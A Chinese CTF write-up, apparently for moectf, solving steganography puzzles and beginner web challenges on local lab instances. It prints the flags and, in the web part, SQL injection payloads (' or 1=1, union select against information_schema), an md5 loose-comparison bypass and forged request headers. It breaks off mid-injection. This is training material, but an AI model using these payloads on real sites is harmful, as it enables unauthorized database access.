misc
ez_LSB
放入stegsolve.jar
base64解密为:
SSTV
查询到可以用qsstv程序进行解码来恢复图片。
初次尝试发现附件不能直接放进qsstv,需要删掉下图LIST蓝色部分(生成软件FFmpeg(Lavf57.52.100)的标识)才能被qsstv正常解析
如下图:

捂住一只耳
Au打开音频文件,发现左声道音轨有长短不一的段,推测是摩斯电码。
看着然后手敲下来:..-./.-../.-/--./../.../---.../..../.-/.-../..-./..--.-/.-./.-/-../../---/..--.-/../-./..--.-/-..-/-../..-/
解码可得:
Enchantment
流量包中提取到图片:
题目描述flag和上面的怪异文字有关,于是搜索相关关键词mc 附魔台 文字
可以得到翻译表,
对照翻译结果,然后按题目处理后提交即可。
ez_png
题目提示flag和文件骨骼有关,了解到应该是IDAT块隐写。
用pngcheck查看确认一下:
可以看到倒数第二个块没满就开始了最后一个块的填充,说明最后一块有问题。
打开010手动提取出最后一块数据之后保存,并用zlib解压缩:
import zlibwith open("D:\\OneDrive\\Desktop\\无标题2", "rb") as f:compressed = f.read()try:decompressed = zlib.decompress(compressed)print(decompressed[-200:]) # 查看末尾 200 字节
except zlib.error as e:print("解压失败:", e)
encrypted_pdf
pdf被加密了,网上直接解密网站:
hint提示和签到题的方式一样,于是:
ez_ssl
附件是一个TLS加密流量包,找到密钥文件ssl.log:
CLIENT_RANDOM 5cc9d58e7bf7268c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
保存后解密便可以提取出flag.zip,发现有加密,且非伪加密。
用winrar打开之后发现又压缩包注释:
(很诡异)
爆破:
打开之后:
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
ook加密,在线网站:https://www.splitbrain.org/services/ook
解密得到:
flag为:moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}
WebRepo
Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$ git log
commit 249ff41401736165cd4514cee7afcd31ecfe7d09 (HEAD -> master)
Author: test <test@example.com>
Date: Tue Aug 19 22:33:29 2025 +0800flag
Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$ git ls-tree -r --name-only 249ff414
flag.txtLenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$ git show 249ff414:flag.txt
moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$
weird_photo
CRC爆破:
import binascii
import structcrcbp = open("D:/OneDrive/DeskTop/photo.png", "rb").read() #打开图片
crc32frombp = int(crcbp[29:33].hex(),16) #读取图片中的CRC校验值
print(crc32frombp)for i in range(4000): #宽度1-4000进行枚举for j in range(4000): #高度1-4000进行枚举data = crcbp[12:16] + \struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]crc32 = binascii.crc32(data) & 0xffffffff#print(crc32)if(crc32 == crc32frombp): #计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定print(i, j)print('hex:', hex(i), hex(j))exit(0)
哈基米难没露躲
附件文本:
南北绿豆奈哪买噶奈哪买南北绿豆;欧莫季里噶奈哪买噶奈哦吗吉利。哦吗吉利哪买噶奈哪椰奶龙?哈基米买娜奈哪买北窝那没撸多。哈基米多多压那奈椰奶龙;奈诺娜美嘎哪买娜奈哪买窝那没撸多?哦吗吉利噶奈哪买哈基米;窝那没撸多噶奈哪买噶奈哪哈基米。库路曼波买噶奈哪买哦吗吉利,哈基米娜奈哪买北南北绿豆,哦吗吉利多多压那多多欧莫季里。阿西噶压压那南撸基阿奈诺娜美嘎,哈基米南里南北友里窝那没撸多。库路曼波一吉豆没咕椰奶龙,库路曼波吉豆没咕吉豆椰奶龙。库路曼波没咕吉豆没咕库路曼波?哦吗吉利吉豆没米吉库路曼波。阿西噶压豆耶咕吉豆没米窝那没撸多;南北绿豆吉豆没米哈基米;窝那没撸多吉豆没咕吉奈诺娜美嘎。库路曼波豆没咕吉豆椰奶龙,欧莫季里没咕吉豆没咕吉南北绿豆?库路曼波豆没米吉豆欧莫季里。哦吗吉利耶咕吉豆没咕奶哈基米;窝那没撸多压多那吉豆没咕奈诺娜美嘎。阿西噶压吉豆没咕吉哦吗吉利;椰奶龙豆没咕吉豆没咕南北绿豆。窝那没撸多吉豆没米奶压哈基米,哈基米多那吉豆没米吉哈基米?奈诺娜美嘎豆没咕吉豆窝那没撸多,南北绿豆没咕吉豆没咕吉窝那没撸多,窝那没撸多豆没咕吉哦吗吉利;南北绿豆豆没咕吉豆没米窝那没撸多;南北绿豆吉豆耶咕吉豆椰奶龙。哈基米没米吉豆哈基米?库路曼波耶吗多奈哪买噶哈基米。哦吗吉利奈哪买噶奈哪阿西噶压;南北绿豆买噶奈哪窝那没撸多;阿西噶压买噶奈哪买阿西噶压;哈基米娜多多压那窝那没撸多?欧莫季里奈哪买北多奈诺娜美嘎;哦吗吉利多压那呀里欧西库路曼波。窝那没撸多奈哪买噶奈哈基米;南北绿豆哪买噶奈哪哦吗吉利,欧莫季里买噶奈哪买噶奈库路曼波,库路曼波哪买噶多多压那库路曼波。哈基米奈哪买噶奈哪买南北绿豆?椰奶龙娜奈哪买哈基米,窝那没撸多噶奈哪买奈诺娜美嘎?阿西噶压噶奈哪买噶奈哪哈基米,阿西噶压买噶奈哪买娜奈奈诺娜美嘎。奈诺娜美嘎哪买北奈哪买噶椰奶龙?哦吗吉利奈哪买北奈诺娜美嘎,窝那没撸多奈哪买噶奈哪窝那没撸多?阿西噶压买噶奈哪买噶奈欧莫季里。库路曼波哪买噶奈哈基米?阿西噶压哪买噶多多压那阿西噶压。窝那没撸多奈哪买北奈哪买阿西噶压;库路曼波噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶奈哈基米;椰奶龙哪买噶奈哪买哦吗吉利;南北绿豆噶奈哪买哈基米;哈基米噶多多压那奈诺娜美嘎?窝那没撸多奈哪买北奈哦吗吉利,库路曼波哪买娜奈椰奶龙。哈基米哪买噶奈哪欧莫季里?椰奶龙买噶奈哪买噶阿西噶压。哈基米奈哪买噶奈奈诺娜美嘎?欧莫季里哪买噶多多压那哦吗吉利,阿西噶压奈哪买娜奈哪买哦吗吉利,南北绿豆娜奈哪买噶奈哪哈基米;库路曼波买噶奈哪买窝那没撸多。哈基米噶奈哪买南北绿豆;椰奶龙噶奈哪买噶多多窝那没撸多,阿西噶压压那奈哪买椰奶龙,欧莫季里娜奈哪买奈诺娜美嘎,阿西噶压北奈哪买噶奈哪库路曼波。库路曼波买噶奈哪买噶奈阿西噶压?哈基米哪买噶奈南北绿豆,南北绿豆哪买娜奈哪买哈基米;哦吗吉利北奈哪买噶奈椰奶龙,库路曼波哪买北奈窝那没撸多,阿西噶压哪买噶奈哪买奈诺娜美嘎;奈诺娜美嘎噶奈哪买噶奈欧莫季里,阿西噶压哪买噶奈哪窝那没撸多。南北绿豆买噶多多阿西噶压,窝那没撸多压那奈哪阿西噶压?椰奶龙买北奈哪奈诺娜美嘎;窝那没撸多买娜奈哪买噶奈椰奶龙?哦吗吉利哪买噶奈阿西噶压。哈基米哪买噶奈哪窝那没撸多;库路曼波买噶奈哪买噶奈欧莫季里。南北绿豆哪买北多多压那窝那没撸多;欧莫季里奈哪买娜奈哪买奈诺娜美嘎;椰奶龙噶奈哪买噶窝那没撸多,奈诺娜美嘎奈哪买噶奈阿西噶压;阿西噶压哪买噶奈哪买娜阿西噶压;椰奶龙奈哪买北奈欧莫季里。奈诺娜美嘎哪买噶奈阿西噶压,椰奶龙哪买娜奈哪买欧莫季里?库路曼波噶奈哪买库路曼波。阿西噶压噶奈哪买噶窝那没撸多;窝那没撸多奈哪买噶奈哪买南北绿豆?阿西噶压噶多多压那椰奶龙,库路曼波奈哪买娜哈基米;窝那没撸多奈哪买噶阿西噶压,库路曼波喔酷娜利步啊那窝那没撸多?南北绿豆吉豆没咕吉豆欧莫季里;欧莫季里没咕吉豆没南北绿豆?库路曼波咕吉豆没咕库路曼波。哈基米吉豆没咕哦吗吉利?哈基米奶压多那吉豆库路曼波,库路曼波没咕吉豆耶咕阿西噶压,椰奶龙吉豆没咕吉豆没窝那没撸多?阿西噶压咕吉豆没咕欧莫季里。奈诺娜美嘎吉豆没咕吉豆哈基米?欧莫季里没咕奶压多那吉库路曼波;阿西噶压豆没咕奶椰奶龙;奈诺娜美嘎压多那吉南北绿豆,窝那没撸多豆没咕吉欧莫季里;南北绿豆豆没咕吉豆奈诺娜美嘎。库路曼波没咕吉豆奈诺娜美嘎,南北绿豆没咕吉豆没咕吉窝那没撸多?库路曼波豆耶咕奶压多阿西噶压,哈基米那吉豆没米吉豆窝那没撸多;哈基米没咕吉豆没咕吉南北绿豆?奈诺娜美嘎豆没咕吉豆没奈诺娜美嘎;南北绿豆咕吉豆没南北绿豆。奈诺娜美嘎咕奶压多那吉奈诺娜美嘎?南北绿豆豆没米吉椰奶龙;椰奶龙豆没咕吉豆没窝那没撸多?欧莫季里咕吉豆没咕吉豆库路曼波;欧莫季里没咕吉豆没咕南北绿豆?奈诺娜美嘎吉豆没咕奶窝那没撸多;南北绿豆压多那吉豆没咕哈基米?欧莫季里吉豆没米吉豆欧莫季里;阿西噶压没咕吉豆奈诺娜美嘎;阿西噶压没咕吉豆没咕吉椰奶龙,哈基米豆没咕吉豆没阿西噶压?南北绿豆咕奶压多那椰奶龙。欧莫季里吉豆没咕吉豆没库路曼波;哈基米吗喵子路路吉阿西噶压,窝那没撸多豆没咕吉豆哦吗吉利;南北绿豆没咕吉豆阿西噶压?阿西噶压没咕吉豆没南北绿豆;哈基米咕吉豆没咕窝那没撸多;阿西噶压奶压多那吉椰奶龙;库路曼波豆没咕吉豆没米阿西噶压,奈诺娜美嘎吉豆没咕吉窝那没撸多。阿西噶压豆没咕吉窝那没撸多,阿西噶压豆没咕吉豆欧莫季里?库路曼波没咕吉豆没窝那没撸多,库路曼波咕吉豆耶咕奶压窝那没撸多?哦吗吉利多那吉豆没米阿西噶压。哈基米吉豆没咕吉欧莫季里;南北绿豆豆没咕吉欧莫季里。南北绿豆豆没咕吉豆没咕南北绿豆?椰奶龙吉豆没米吉豆椰奶龙;库路曼波耶咕吉豆没阿西噶压?欧莫季里咕吉豆没米南北绿豆;南北绿豆吉豆没咕吉豆没哈基米;哦吗吉利咕吉豆没咕吉奈诺娜美嘎?窝那没撸多豆没咕吉豆库路曼波,库路曼波没咕奶压多那吉阿西噶压。窝那没撸多豆没咕吉豆库路曼波?阿西噶压没西一奈哪买噶阿西噶压;哦吗吉利奈哪买噶哦吗吉利;椰奶龙奈哪买噶奈南北绿豆,库路曼波哪买噶奈哪买娜库路曼波,哈基米奈哪买北奈哪买窝那没撸多。欧莫季里噶奈哪买北奈哈基米,椰奶龙哪买噶奈库路曼波?南北绿豆哪买噶奈欧莫季里;哈基米哪买噶奈椰奶龙,奈诺娜美嘎哪买噶奈哪南北绿豆,库路曼波买娜奈哪哦吗吉利?阿西噶压买北奈哪买娜奈库路曼波。欧莫季里哪买噶奈欧莫季里,库路曼波哪买噶奈哪买欧莫季里?库路曼波噶奈哪买噶奈窝那没撸多;阿西噶压哪买噶奈阿西噶压;窝那没撸多哪买噶奈哪买北南北绿豆。库路曼波多多压那欧莫季里?欧莫季里奈哪买娜奈哪哦吗吉利;哈基米买噶奈哪买噶奈库路曼波,库路曼波哪买噶奈库路曼波?奈诺娜美嘎哪买噶奈哪阿西噶压,南北绿豆买噶多多压库路曼波;南北绿豆那奈哪买娜奈库路曼波,库路曼波哪买北奈哪椰奶龙,欧莫季里买噶奈哪买库路曼波。窝那没撸多噶奈哪买噶窝那没撸多,哈基米奈哪买噶阿西噶压。南北绿豆奈哪买噶多椰奶龙?哈基米多压那奈哪阿西噶压;库路曼波买娜奈哪买欧莫季里?库路曼波娜奈哪买噶奈欧莫季里;哈基米哪买噶奈哪椰奶龙。窝那没撸多买噶奈哪奈诺娜美嘎;椰奶龙买噶奈哪买库路曼波,阿西噶压娜奈哪买北椰奶龙。奈诺娜美嘎奈哪买噶奈哈基米;窝那没撸多哪买北奈哪哈基米。奈诺娜美嘎买噶奈哪买噶窝那没撸多?南北绿豆奈哪买噶欧莫季里,库路曼波奈哪买噶奈哪买库路曼波。南北绿豆娜奈哪买南北绿豆;欧莫季里北奈哪买娜奈哦吗吉利。哈基米哪买娜子窝那没撸多;南北绿豆酷波利子撸娜哪哈基米?哈基米哈里椰路阿西噶压,阿西噶压奈哪买噶奈哪哈基米。哈基米买噶奈哪买噶库路曼波?欧莫季里奈哪买噶奈哪南北绿豆,奈诺娜美嘎买噶多多椰奶龙;阿西噶压压那奈哪库路曼波;库路曼波买噶多多压那奈库路曼波;哦吗吉利哪买噶奈哪买哦吗吉利。椰奶龙噶奈哪买噶奈窝那没撸多,阿西噶压哪买噶奈哪买噶欧莫季里,库路曼波多多压那奈库路曼波;窝那没撸多哪买噶多多压那哈基米,窝那没撸多喔米哦啊呀砸奈诺娜美嘎;椰奶龙曼吉豆没咕南北绿豆;库路曼波吉豆没咕吉豆没阿西噶压?哦吗吉利咕吉豆没咕吉哦吗吉利;库路曼波豆没咕奶压库路曼波。库路曼波多那吉豆南北绿豆?奈诺娜美嘎没米吉豆库路曼波;哦吗吉利耶吗一奈哪买奈诺娜美嘎。椰奶龙噶奈哪买噶奈阿西噶压?哈基米哪买噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶阿西噶压;窝那没撸多多多压那阿西噶压,阿西噶压奈哪买北奈阿西噶压,欧莫季里哪买噶奈哪买噶哈基米。哈基米奈哪买噶奈诺娜美嘎?哈基米奈哪买噶库路曼波。南北绿豆奈哪买噶奈哪阿西噶压,奈诺娜美嘎买噶多多压那欧莫季里;南北绿豆奈哪买噶哈基米,窝那没撸多奈哪买北奈哪买南北绿豆,欧莫季里噶奈哪买奈诺娜美嘎?哦吗吉利噶奈哪买哈基米;南北绿豆噶奈哪买南北绿豆;窝那没撸多噶奈哪买娜奈哪椰奶龙,欧莫季里买北奈哪买噶阿西噶压,库路曼波多多压那奈哪买哈基米;哈基米噶奈哪买噶窝那没撸多?欧莫季里奈哪买噶奈哪买哦吗吉利。阿西噶压噶奈哪买噶多哦吗吉利,阿西噶压多压那奈哪买阿西噶压,哈基米北奈哪买南北绿豆,南北绿豆噶奈哪买噶奈阿西噶压,欧莫季里哪买噶奈哦吗吉利。椰奶龙哪买噶奈哈基米,库路曼波哪买噶奈窝那没撸多,奈诺娜美嘎哪买噶多窝那没撸多,椰奶龙多压那奈哪买噶南北绿豆,阿西噶压奈哪买北奈哈基米;哈基米哪买噶奈哪奈诺娜美嘎,哦吗吉利买噶奈哪买噶奈阿西噶压,窝那没撸多哪买噶奈哪阿西噶压。窝那没撸多买娜多多椰奶龙;椰奶龙压那多多压奈诺娜美嘎;阿西噶压那奈哪买娜南北绿豆。哦吗吉利自米哦啊南北绿豆;奈诺娜美嘎南酷基压步酷欧莫季里;奈诺娜美嘎马美友喔奈诺娜美嘎;窝那没撸多诺哪呀喔喵欧莫季里;欧莫季里哩椰奶龙。
通过https://lhlnb.top/hajimi/base64
解密后得到:
fakeflag{you_can_try_searching_text_Steganography}
零宽字符隐写,解出来为flag:
moectf{1b8956b9-a423-4101-a1bd-65be33682c82}
web
week1
0 Web入门指北
考点:JavaScript,JSFuck
所给文本输入到控制台回车即可。
01 第一章 神秘的手镯
考察:前端可改
直接输不进去,直接抓包该包或者F12直接改即可。
02 第二章 初识金曦玄轨
考察: 抓包
前往/golden_trail路由并抓包,
03 第三章 问剑石!篡天改命!
考察: f12, 抓包,传参
f12看到前端script源码:
<script>async function testTalent() {try {const response = await fetch('/test_talent?level=B', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({ manifestation: 'none' })});const data = await response.json();document.getElementById('result').textContent = data.result;// 显示/隐藏光芒效果const glow = document.getElementById('glow');if (data.result.includes('流云状青芒')) {glow.style.opacity = '1';} else {glow.style.opacity = '0';}if (data.flag) {setTimeout(() => {alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);}, 500);}} catch (error) {alert('玄轨连接中断!请检查灵枢...');}}</script>
且题目描述的参数提示为:S,光芒:流云状青芒(flowing_azure_clouds)的异象
于是改包:
POST /test_talent?level=S HTTP/1.1
Host: 127.0.0.1:64313
Content-Length: 24
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:64313
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:64313/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive{"manifestation":"flowing_azure_clouds"}
即可达成条件:
04 第四章 金曦破禁与七绝傀儡阵
考察:http协议
题目描述已经给出了要改的请求头具体是什么,直接跟着提示走就行。
GET传参: key=
bW9lY3Rme0Mw
POST传参: declaration=织云阁=第一
bjZyNDd1MTQ3
X-Forwarded-For: 127.0.0.1
MTBuNV95MHVy
改User-Agent: moe browser
X2g3N1BfbDN2
改Cookie: user=xt
M2xfMTVfcjM0
Referer: http://panshi/entry
bGx5X2gxOWgh
PUT发送"新生!"
fQ==
最后拼接base64解密即可。
05 第五章 打上门来!
考察:目录穿越
06 第六章 藏经禁制?玄机初探!
考察:sql注入, 一句话密码
07 第七章 灵蛛探穴与阴阳双生符
考察:robots协议认识, md5碰撞
题目描述得知hint在robots.txt这个路由中,访问得到提示:
User-agent: *
Disallow: /flag.php
访问/flag.php:
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";if($a == $b){die("error 1");
}if(md5($a) != md5($b)){die("error 2");
}echo $flag; error 1
分析:
初步得知flag在环境变量中,要a,b两个变量不同,但md5值要相同。搜索便可知道考察的是md5碰撞,随便用两个例子即可:
/flag.php?a=QNKCDZO&b=s878926199a
08 第八章 天衍真言,星图显圣
考察:sql注入, 联合查询
类似:select * from table where username=admin and password=1
闭合:
http://127.0.0.1:51896/?username=admin&password=' or 1=1 %23
显示正常,说明单引号闭合。
行数:
order by/联合查询union select测试出行数为2。
http://127.0.0.1:51896/?username=admin&password=' union select 1,2 %23
发现显示位是1处。
联合查询注入即可。
表:
http://127.0.0.1:51896/?username=admin&password=' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() %23
列:
